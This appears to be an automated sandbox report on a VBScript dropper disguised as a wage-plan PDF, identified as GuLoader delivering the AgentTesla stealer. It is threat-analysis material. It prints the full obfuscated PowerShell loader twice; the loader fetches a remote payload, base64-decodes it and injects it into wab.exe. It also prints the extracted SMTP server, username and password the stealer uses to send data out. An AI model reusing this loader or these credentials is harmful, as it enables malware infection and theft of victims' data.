Analysis
-
max time kernel
141s -
max time network
137s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
28-03-2024 07:11
Static task
static1
Behavioral task
behavioral1
Sample
Wage_Plan_pdf.vbs
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
Wage_Plan_pdf.vbs
Resource
win10v2004-20240226-en
General
-
Target
Wage_Plan_pdf.vbs
-
Size
167KB
-
MD5
98d38570369050c3e503e18035277ad8
-
SHA1
384119a540c60cd5c853375a03fdc6080e0e359e
-
SHA256
fa2132896865e53db4ca14d8cad05bd53bcc176bed28e3a39a2ec99501e034a6
-
SHA512
8b1a83a1a4295690494749308f5558765c262305f1a2238a800f4c6fa8d9ebe0a6d52be4993dacf99c45a65c85ffd20107ff02f262d30372ef25c7ae412b4815
-
SSDEEP
3072:xpK6/PeadLaz+kxSzn9Lj7rZeqGbHfNcckB+HGuG5Elx7d5czQON8DdUqYy5:xpKyPeadLaz+k0zn1j7rZeqGbHfNcckg
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.myhydropowered.com - Port:
587 - Username:
africa@myhydropowered.com - Password:
q5NHtWyc5WKhunX - Email To:
vartaexperts@myhydropowered.com
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 3 IoCs
Processes:
WScript.exepowershell.exeflow pid process 3 2820 WScript.exe 6 2820 WScript.exe 8 2440 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 24 api.ipify.org 25 api.ipify.org 26 ip-api.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 2768 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2440 powershell.exe 2768 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2440 set thread context of 2768 2440 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2676 powershell.exe 2440 powershell.exe 2768 wab.exe 2768 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2440 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2676 powershell.exe Token: SeDebugPrivilege 2440 powershell.exe Token: SeDebugPrivilege 2768 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 2768 wab.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2820 wrote to memory of 2676 2820 WScript.exe powershell.exe PID 2820 wrote to memory of 2676 2820 WScript.exe powershell.exe PID 2820 wrote to memory of 2676 2820 WScript.exe powershell.exe PID 2676 wrote to memory of 2440 2676 powershell.exe powershell.exe PID 2676 wrote to memory of 2440 2676 powershell.exe powershell.exe PID 2676 wrote to memory of 2440 2676 powershell.exe powershell.exe PID 2676 wrote to memory of 2440 2676 powershell.exe powershell.exe PID 2440 wrote to memory of 2768 2440 powershell.exe wab.exe PID 2440 wrote to memory of 2768 2440 powershell.exe wab.exe PID 2440 wrote to memory of 2768 2440 powershell.exe wab.exe PID 2440 wrote to memory of 2768 2440 powershell.exe wab.exe PID 2440 wrote to memory of 2768 2440 powershell.exe wab.exe PID 2440 wrote to memory of 2768 2440 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Wage_Plan_pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Stockist;++$Stockist;$Stockist=$Stockist-1;Function Garantilns ($Gargling){$Plejemoderens=5;$Plejemoderens++;For($Dialektologers=5; $Dialektologers -lt $Gargling.Length-1; $Dialektologers+=$Plejemoderens){$Backhauled = 'substring';$Rechannels=$Gargling.$Backhauled.Invoke($Dialektologers, 1);$Hectare99=$Hectare99+$Rechannels}$Hectare99;}$Fringilliform=Garantilns 'CynorhI.dektTappetkmmespFallesRetur:Preli/Grusn/Skrppdsortlr Iva.iSw atvf,llfe We k.Sulerg BelloTraumoLimaig B,snl UtyseJ,dop.PagancBunk,oDrukkmBozak/ Dis,uDiptycBarsk?AdrameEffloxTropipOr,ngo Asnerva.sktUnobt= UdkedBegivoCommowFratensvaj lFig.toDdsstastrapd Saml&,eseriomkamdPrean=Uspec1DetaiJWurl lO.pla1 ChisSB ueltAddenvTherm_Der.eI TaleH Thes1stabi6Rigs.PV,rro4ReconpGrundscaelig TromuTakstN K,rmPSystehUdvikq EkspeSeksul U ps8StranB di.w_ BlseVMidstsUdrusIFo te2 isai6LightmVaref ';$Monotheistically=$Fringilliform.split([char]62);$Fringilliform=$Monotheistically[0];$Distributee=Garantilns ' SjaliBybude Digix ati ';$Marginally = Garantilns 'N.bul\ Bruds MeloyFebe,sJ niow Su.eo RingwExtra6Harmo4 Bine\MarseWKommaiKreernFil rd AtmooSourbw VarssOpmarPRejunoEjakuwUdf,deBylderP,leoSSk.dehKastae ,andludbril,nrav\ Karbv Uran1V,cev.Yukia0Oktal\MetegpunderoAf,kewAlleyeIn elr MoirsBu.gih Han,eMixtilSavn l hvor. RimpeBjninx MicreNearc ';&($Distributee) (Garantilns 'Depen$HebreF rddeoStorbr Ar izKon tiTilranUnrefkrea teMis.as .mrk=Fago.$Tr,poeFinlnnInsemvMegop: TriawsadisiWanlanAnoredApostiJustirThyrs ') ;&($Distributee) (Garantilns 'Refle$ValutM,ramaaudtryr ancgSwartiFdes,nAf olaNoninldittalMuddeyM.lie=La.re$B.rmaFObseroBatchrP eexzKonfii BrsenK nstkLydigeR debsBogud+Bluet$ ToolMP oreaovermrStreegSynodiBroncnOp.reaunshrl Aparl oosiyMelle ') ;&($Distributee) (Garantilns ' St.d$ A,peENoneclGartnfCi,cur ivvieHerskdProdu Sinde= E.te Dress(Flaky(Langbg PrjuwGombemFattei vede Inst wLeptoi ventn,ekno3Naval2Def n_glo spgud.lrHouseo overcSpirieArccos Trans Socm Deriv-Pa phFWhisk AlloeP Mordr phaco MultcArroze tatssUn,ersinterIUnribdOculi=Spati$ fgif{ UndePDepasIInterDSi gl}M dic)Re ur.ArnalCBurnaoOptimmAss,bmPartoaAnthrn.esludFelinL PyraiIchthnshak e Unvi).opst Cusco- StatsSh arpWar.olBiotoiBestytHders Besti[Oevelc dr.jh Culta FuldrVes i]Nobby3Wiret4kirke ');&($Distributee) (Garantilns 'Fir.d$MotioNChurioKommunF.rpecSkrunoStenvn ImdesArmentFilmiiLaryntTitteuPigmetIns miAcromoT chynKalknaMaintlDr.pr Schem=Subfu Vur.e$ M,nkEBarkklawaitfBondsrblockeS.gesdThymo[Loite$,nderEpulvel.atolfCambir PalpeAfstedDjv,e.Tal icPetrooGiantuFilurnTsetst odke-Depot2Abeya]Oxeto ');&($Distributee) (Garantilns 'Winni$WholeLMb.glaD.minn TrawdNaktistitrahMultieOplysr RetrrGulneeNedbl= Up,a(RiddeTLineoeRheinsTipoltSta.e-,lagoPJusteaElasttMonemhOvipo Forsk$ DdsmMPaa.aa Ratirbodegg LsseiHypocnTsareaAmaralPeatwlbasiayfulds)Whore Ddskr-JharaAEnkron trafdEryth A.oni(Afndt[BurmeIAffrdncellat UdviPHi.metAsthmrAdmin]Krsel:,ilhe: RecesRoll iCompaz ForseKalve Detox-SkrueeestriqSanse Demog8Ul st)Cumpg ') ;if ($Landsherre) {.$Marginally $Nonconstitutional;} else {;$Cancroid=Garantilns ' BibeSForpat,eakea.olonrhjertt Slum-SpunsBMadeli onketH,nlasFlytrT,jakbrKlageaCentrn Ind,s NildfvindheAbl.trDiart Dukey-overrS Dommo Sm.guSph.grPrizecHkleneNonad .egek$ RickFBeraarStateiDa kinSe,gng S ooiAb.orlAnstnl.ediciKa,ecfTrappoErs,arSladrmSapon Coon- tranDVogn,eUndersSerpetUfejli stern DesiaTrosstBrdreiMelanoRetsrnS,idd Ubeke$ E.plF ,enfoPhotor UnprzUnbapiUdsmynSpe,ukIrgeneGrundsOvern ';&($Distributee) (Garantilns 'Fuger$S.ldiFMon.aoWhisprHjemsz UdloiLithonferiekStandeSkilssUnder= bmsb$Radere MatrnVurdevd,cus: ge.naEn.arp vertpFlowndBor.ea AutotI.safaUlivs ') ;&($Distributee) (Garantilns 'B sulIKashymBassyp chkaoRoystr BrnetLangs-mat,iMVrke.o A atdStilluSymbolSkovreconub CuppiBSi peiVgmaltCitatsCompuT Flokr So taForednTypiksiridofForsoeMicrorFo,el ') ;$Forzinkes=$Forzinkes+'\Fartbegrnsningerne.Las';while (-not $Kontrolkommission) {&($Distributee) (Garantilns '.trmp$ ResoK Echioheortn ,chatC lorrRuficoCal.rlregu.k.yphooSvejsm S,rem RessiBefris ascas.akkeiTaiwaoSip onMastu= Bes (Hy.roTtoplaesty,is nblotVeil -AdverPStetoaIctertWhipshTakta P.ano$DeeskF Sofao Re,nrimpu z minkiTykkenGenovk NondeR.beosgharr)Stikl ') ;&($Distributee) $Cancroid;&($Distributee) (Garantilns 'A ywaSInsp,tSmaataLysimrlignitKonku-MemorST,ashlR,troeStyreeMnstepSilag Indsk5Hjemm ');$Fringilliform=$Monotheistically[$Muskallonge++%$Monotheistically.count];}&($Distributee) (Garantilns 'Gailm$FrithMUlorroGlottlFrydelBrevdiHr.rncBefourPlauduTrernsDownlhPreco Toast=Kov,n anteGSemije CountTempo-AfganC JordoBlasfnSpi,etGkkerepauainA.inot Pygm He ve$FluegFI teroO erhrModtazSygemiAfsonnG lankVandfeF rinsPetti ');&($Distributee) (Garantilns 'P ead$polygSFlashcBradey DryspUkammhPasf.oSkyggm Worlako oon Re.ic xtenyLip,c Cheno= Bom, Id li[Damp.S MyceyFi,ias probtForreeReprem Tand. DepoCSludroAnemonBeboevElecteFraktrRgenrttr,ns]Kolvi:Hawth:Ov,rmFSenatrFjernoAlphomSukriBVandpaKoldssEnk lePr,le6Fi.ke4Sti,lSNickotklderrExtraiKonfinValgrgWrea.( Summ$,onosMNomadoUg nnl.elgalUskifi Konsc nnerrImpleuSt,evs rasehUnsuc) ille ');&($Distributee) (Garantilns 'Readi$DopinNCoun,i Ecu nTilineOwlcutDom,ee ShamePa.ntnPaasks U ny Un re=Hundr ,revi[UnsusSEstreyUnmels VamltSemi eUn ormBle,f. SkygTMisste fempxAbirrtWillp.KasseENe linRystncTillboAssemd LittiTrek nAk,ivgOph,h]Savio:Un,it:AfstrABlgetSExactC FedmI CinqIEner . UdstGSknaae K ast B,stS Pol,t A,merSkrivi.ydninFors g,osse(Sle,f$Na,hjSCaesacfasteyUp eapNonfah Saz omisdim St kaStatsnA inoc For,yB edn)Konto ');&($Distributee) (Garantilns 'Strat$KoordAPol,efMort svenanvbaanda F,dem BeefpTab,ln UnfriAssemn Opgrg Trede raarlavlanOverse Vi d=Fil.d$Sekt,NDisf iA.ulanEvoleeTotrit ShireAntimehavesnRecalsLa.tl.UdrigsUnfudu,stpabu quasLa.dotO.erhrUnexeiTidsfn Fod gPropo(Su er3Cesu.2 Pu,s7Behan4Foo,r4 labb3 Viol,Woodl2kam.r5Skiff9,ilgi9Mucks7Inhal) sams ');&($Distributee) $Afsvampningerne;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Stockist;++$Stockist;$Stockist=$Stockist-1;Function Garantilns ($Gargling){$Plejemoderens=5;$Plejemoderens++;For($Dialektologers=5; $Dialektologers -lt $Gargling.Length-1; $Dialektologers+=$Plejemoderens){$Backhauled = 'substring';$Rechannels=$Gargling.$Backhauled.Invoke($Dialektologers, 1);$Hectare99=$Hectare99+$Rechannels}$Hectare99;}$Fringilliform=Garantilns 'CynorhI.dektTappetkmmespFallesRetur:Preli/Grusn/Skrppdsortlr Iva.iSw atvf,llfe We k.Sulerg BelloTraumoLimaig B,snl UtyseJ,dop.PagancBunk,oDrukkmBozak/ Dis,uDiptycBarsk?AdrameEffloxTropipOr,ngo Asnerva.sktUnobt= UdkedBegivoCommowFratensvaj lFig.toDdsstastrapd Saml&,eseriomkamdPrean=Uspec1DetaiJWurl lO.pla1 ChisSB ueltAddenvTherm_Der.eI TaleH Thes1stabi6Rigs.PV,rro4ReconpGrundscaelig TromuTakstN K,rmPSystehUdvikq EkspeSeksul U ps8StranB di.w_ BlseVMidstsUdrusIFo te2 isai6LightmVaref ';$Monotheistically=$Fringilliform.split([char]62);$Fringilliform=$Monotheistically[0];$Distributee=Garantilns ' SjaliBybude Digix ati ';$Marginally = Garantilns 'N.bul\ Bruds MeloyFebe,sJ niow Su.eo RingwExtra6Harmo4 Bine\MarseWKommaiKreernFil rd AtmooSourbw VarssOpmarPRejunoEjakuwUdf,deBylderP,leoSSk.dehKastae ,andludbril,nrav\ Karbv Uran1V,cev.Yukia0Oktal\MetegpunderoAf,kewAlleyeIn elr MoirsBu.gih Han,eMixtilSavn l hvor. RimpeBjninx MicreNearc ';&($Distributee) (Garantilns 'Depen$HebreF rddeoStorbr Ar izKon tiTilranUnrefkrea teMis.as .mrk=Fago.$Tr,poeFinlnnInsemvMegop: TriawsadisiWanlanAnoredApostiJustirThyrs ') ;&($Distributee) (Garantilns 'Refle$ValutM,ramaaudtryr ancgSwartiFdes,nAf olaNoninldittalMuddeyM.lie=La.re$B.rmaFObseroBatchrP eexzKonfii BrsenK nstkLydigeR debsBogud+Bluet$ ToolMP oreaovermrStreegSynodiBroncnOp.reaunshrl Aparl oosiyMelle ') ;&($Distributee) (Garantilns ' St.d$ A,peENoneclGartnfCi,cur ivvieHerskdProdu Sinde= E.te Dress(Flaky(Langbg PrjuwGombemFattei vede Inst wLeptoi ventn,ekno3Naval2Def n_glo spgud.lrHouseo overcSpirieArccos Trans Socm Deriv-Pa phFWhisk AlloeP Mordr phaco MultcArroze tatssUn,ersinterIUnribdOculi=Spati$ fgif{ UndePDepasIInterDSi gl}M dic)Re ur.ArnalCBurnaoOptimmAss,bmPartoaAnthrn.esludFelinL PyraiIchthnshak e Unvi).opst Cusco- StatsSh arpWar.olBiotoiBestytHders Besti[Oevelc dr.jh Culta FuldrVes i]Nobby3Wiret4kirke ');&($Distributee) (Garantilns 'Fir.d$MotioNChurioKommunF.rpecSkrunoStenvn ImdesArmentFilmiiLaryntTitteuPigmetIns miAcromoT chynKalknaMaintlDr.pr Schem=Subfu Vur.e$ M,nkEBarkklawaitfBondsrblockeS.gesdThymo[Loite$,nderEpulvel.atolfCambir PalpeAfstedDjv,e.Tal icPetrooGiantuFilurnTsetst odke-Depot2Abeya]Oxeto ');&($Distributee) (Garantilns 'Winni$WholeLMb.glaD.minn TrawdNaktistitrahMultieOplysr RetrrGulneeNedbl= Up,a(RiddeTLineoeRheinsTipoltSta.e-,lagoPJusteaElasttMonemhOvipo Forsk$ DdsmMPaa.aa Ratirbodegg LsseiHypocnTsareaAmaralPeatwlbasiayfulds)Whore Ddskr-JharaAEnkron trafdEryth A.oni(Afndt[BurmeIAffrdncellat UdviPHi.metAsthmrAdmin]Krsel:,ilhe: RecesRoll iCompaz ForseKalve Detox-SkrueeestriqSanse Demog8Ul st)Cumpg ') ;if ($Landsherre) {.$Marginally $Nonconstitutional;} else {;$Cancroid=Garantilns ' BibeSForpat,eakea.olonrhjertt Slum-SpunsBMadeli onketH,nlasFlytrT,jakbrKlageaCentrn Ind,s NildfvindheAbl.trDiart Dukey-overrS Dommo Sm.guSph.grPrizecHkleneNonad .egek$ RickFBeraarStateiDa kinSe,gng S ooiAb.orlAnstnl.ediciKa,ecfTrappoErs,arSladrmSapon Coon- tranDVogn,eUndersSerpetUfejli stern DesiaTrosstBrdreiMelanoRetsrnS,idd Ubeke$ E.plF ,enfoPhotor UnprzUnbapiUdsmynSpe,ukIrgeneGrundsOvern ';&($Distributee) (Garantilns 'Fuger$S.ldiFMon.aoWhisprHjemsz UdloiLithonferiekStandeSkilssUnder= bmsb$Radere MatrnVurdevd,cus: ge.naEn.arp vertpFlowndBor.ea AutotI.safaUlivs ') ;&($Distributee) (Garantilns 'B sulIKashymBassyp chkaoRoystr BrnetLangs-mat,iMVrke.o A atdStilluSymbolSkovreconub CuppiBSi peiVgmaltCitatsCompuT Flokr So taForednTypiksiridofForsoeMicrorFo,el ') ;$Forzinkes=$Forzinkes+'\Fartbegrnsningerne.Las';while (-not $Kontrolkommission) {&($Distributee) (Garantilns '.trmp$ ResoK Echioheortn ,chatC lorrRuficoCal.rlregu.k.yphooSvejsm S,rem RessiBefris ascas.akkeiTaiwaoSip onMastu= Bes (Hy.roTtoplaesty,is nblotVeil -AdverPStetoaIctertWhipshTakta P.ano$DeeskF Sofao Re,nrimpu z minkiTykkenGenovk NondeR.beosgharr)Stikl ') ;&($Distributee) $Cancroid;&($Distributee) (Garantilns 'A ywaSInsp,tSmaataLysimrlignitKonku-MemorST,ashlR,troeStyreeMnstepSilag Indsk5Hjemm ');$Fringilliform=$Monotheistically[$Muskallonge++%$Monotheistically.count];}&($Distributee) (Garantilns 'Gailm$FrithMUlorroGlottlFrydelBrevdiHr.rncBefourPlauduTrernsDownlhPreco Toast=Kov,n anteGSemije CountTempo-AfganC JordoBlasfnSpi,etGkkerepauainA.inot Pygm He ve$FluegFI teroO erhrModtazSygemiAfsonnG lankVandfeF rinsPetti ');&($Distributee) (Garantilns 'P ead$polygSFlashcBradey DryspUkammhPasf.oSkyggm Worlako oon Re.ic xtenyLip,c Cheno= Bom, Id li[Damp.S MyceyFi,ias probtForreeReprem Tand. DepoCSludroAnemonBeboevElecteFraktrRgenrttr,ns]Kolvi:Hawth:Ov,rmFSenatrFjernoAlphomSukriBVandpaKoldssEnk lePr,le6Fi.ke4Sti,lSNickotklderrExtraiKonfinValgrgWrea.( Summ$,onosMNomadoUg nnl.elgalUskifi Konsc nnerrImpleuSt,evs rasehUnsuc) ille ');&($Distributee) (Garantilns 'Readi$DopinNCoun,i Ecu nTilineOwlcutDom,ee ShamePa.ntnPaasks U ny Un re=Hundr ,revi[UnsusSEstreyUnmels VamltSemi eUn ormBle,f. SkygTMisste fempxAbirrtWillp.KasseENe linRystncTillboAssemd LittiTrek nAk,ivgOph,h]Savio:Un,it:AfstrABlgetSExactC FedmI CinqIEner . UdstGSknaae K ast B,stS Pol,t A,merSkrivi.ydninFors g,osse(Sle,f$Na,hjSCaesacfasteyUp eapNonfah Saz omisdim St kaStatsnA inoc For,yB edn)Konto ');&($Distributee) (Garantilns 'Strat$KoordAPol,efMort svenanvbaanda F,dem BeefpTab,ln UnfriAssemn Opgrg Trede raarlavlanOverse Vi d=Fil.d$Sekt,NDisf iA.ulanEvoleeTotrit ShireAntimehavesnRecalsLa.tl.UdrigsUnfudu,stpabu quasLa.dotO.erhrUnexeiTidsfn Fod gPropo(Su er3Cesu.2 Pu,s7Behan4Foo,r4 labb3 Viol,Woodl2kam.r5Skiff9,ilgi9Mucks7Inhal) sams ');&($Distributee) $Afsvampningerne;}"3⤵
- Blocklisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357Filesize
1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD58816a2d0c3bd227e3070864adfbacff4
SHA115474d175834e5fe8c560a98545413489864b729
SHA256b43363a6f7ce77eea437feef2ed33d69c8ba47ee68c495d1dc84831eba40ae85
SHA512c200e11e24f9ff97b7465e518786ca5e290bcf2ea9b0e379a3af066c3d2cf4ecdb1af534fa43f79163481e149dc98eb4c694391b49d1efe3e5c6b4f1585bdf4d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD5d380559530e19c3d15e1a2fc92105e68
SHA1bef722001aa5773e2d1e19930ae072812cb12c26
SHA256535b99ab29f3dc7f2ea8c7c5b31e54cba8e0ddc7d6e345e8915e22b57c658f43
SHA51237d46e70cd9554845da9bc0ca56092a924e557414c4dfc1c0d72df4439be180c545b8eed9de8c6c9e19011f0f1b276108f4a856a9f913480d9516fc3c364c0e5
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357Filesize
242B
MD55cd2190eae9b282970a43998f52c8786
SHA1c966c6ad502e89a31f907dc4e0a9f9f0a5b12620
SHA25607ffce7fd547a325fee8e2ef7ace66ef3bbd3e86d35b623c7b2962be5d1de8ba
SHA51218763938e5217788aba0afb1f5530fd90d1114f8e0875984c4fff827fd54bef31fcaf95ad9c5766e94ea73c4e61db7dd591f6fa7df3d796d2b5456f30efe9e69
-
C:\Users\Admin\AppData\Local\Temp\TarBF5A.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KZC2089YZJ83ZCE5HX0D.tempFilesize
7KB
MD57e6b711388087cde30eb78ee30d87e8d
SHA12a397c4f7638b974c9eb5d8076ea9abbac8cd6f9
SHA2563b893bc9c7dc72536dd7b9302180a7897c1a65a8c8d4ff3c080ade955f914dbc
SHA512896138963af0ec294b257c460f9019c0d5625a3a5cbaf637e597607fbb84ab7cbdc0829308e369993e6470d8588f72c45ebac443d96ac3e9ec15395f91199004
-
memory/2440-29-0x0000000001FA0000-0x0000000001FE0000-memory.dmpFilesize
256KB
-
memory/2440-50-0x0000000006B20000-0x0000000008F3D000-memory.dmpFilesize
36.1MB
-
memory/2440-26-0x0000000073C90000-0x000000007423B000-memory.dmpFilesize
5.7MB
-
memory/2440-27-0x0000000001FA0000-0x0000000001FE0000-memory.dmpFilesize
256KB
-
memory/2440-28-0x0000000073C90000-0x000000007423B000-memory.dmpFilesize
5.7MB
-
memory/2440-92-0x0000000006B20000-0x0000000008F3D000-memory.dmpFilesize
36.1MB
-
memory/2440-63-0x0000000006B20000-0x0000000008F3D000-memory.dmpFilesize
36.1MB
-
memory/2440-59-0x0000000077E40000-0x0000000077F16000-memory.dmpFilesize
856KB
-
memory/2440-58-0x0000000077C50000-0x0000000077DF9000-memory.dmpFilesize
1.7MB
-
memory/2440-56-0x0000000001FA0000-0x0000000001FE0000-memory.dmpFilesize
256KB
-
memory/2440-57-0x0000000001FA0000-0x0000000001FE0000-memory.dmpFilesize
256KB
-
memory/2440-55-0x0000000073C90000-0x000000007423B000-memory.dmpFilesize
5.7MB
-
memory/2440-54-0x0000000001FA0000-0x0000000001FE0000-memory.dmpFilesize
256KB
-
memory/2440-53-0x0000000006B20000-0x0000000008F3D000-memory.dmpFilesize
36.1MB
-
memory/2440-51-0x0000000073C90000-0x000000007423B000-memory.dmpFilesize
5.7MB
-
memory/2440-52-0x0000000006200000-0x0000000006201000-memory.dmpFilesize
4KB
-
memory/2676-47-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2676-17-0x0000000001F70000-0x0000000001F78000-memory.dmpFilesize
32KB
-
memory/2676-48-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2676-23-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2676-46-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmpFilesize
9.6MB
-
memory/2676-19-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2676-20-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmpFilesize
9.6MB
-
memory/2676-21-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2676-94-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmpFilesize
9.6MB
-
memory/2676-22-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2676-16-0x000000001B700000-0x000000001B9E2000-memory.dmpFilesize
2.9MB
-
memory/2676-18-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmpFilesize
9.6MB
-
memory/2676-49-0x0000000002EA0000-0x0000000002F20000-memory.dmpFilesize
512KB
-
memory/2768-66-0x0000000077E40000-0x0000000077F16000-memory.dmpFilesize
856KB
-
memory/2768-65-0x0000000077E76000-0x0000000077E77000-memory.dmpFilesize
4KB
-
memory/2768-89-0x0000000000250000-0x00000000012B2000-memory.dmpFilesize
16.4MB
-
memory/2768-90-0x0000000077E40000-0x0000000077F16000-memory.dmpFilesize
856KB
-
memory/2768-91-0x0000000000250000-0x0000000000292000-memory.dmpFilesize
264KB
-
memory/2768-64-0x0000000077C50000-0x0000000077DF9000-memory.dmpFilesize
1.7MB
-
memory/2768-93-0x000000006F6A0000-0x000000006FD8E000-memory.dmpFilesize
6.9MB
-
memory/2768-60-0x00000000012C0000-0x00000000036DD000-memory.dmpFilesize
36.1MB
-
memory/2768-95-0x0000000022270000-0x00000000222B0000-memory.dmpFilesize
256KB
-
memory/2768-97-0x00000000012C0000-0x00000000036DD000-memory.dmpFilesize
36.1MB
-
memory/2768-100-0x000000006F6A0000-0x000000006FD8E000-memory.dmpFilesize
6.9MB
-
memory/2768-101-0x0000000022270000-0x00000000222B0000-memory.dmpFilesize
256KB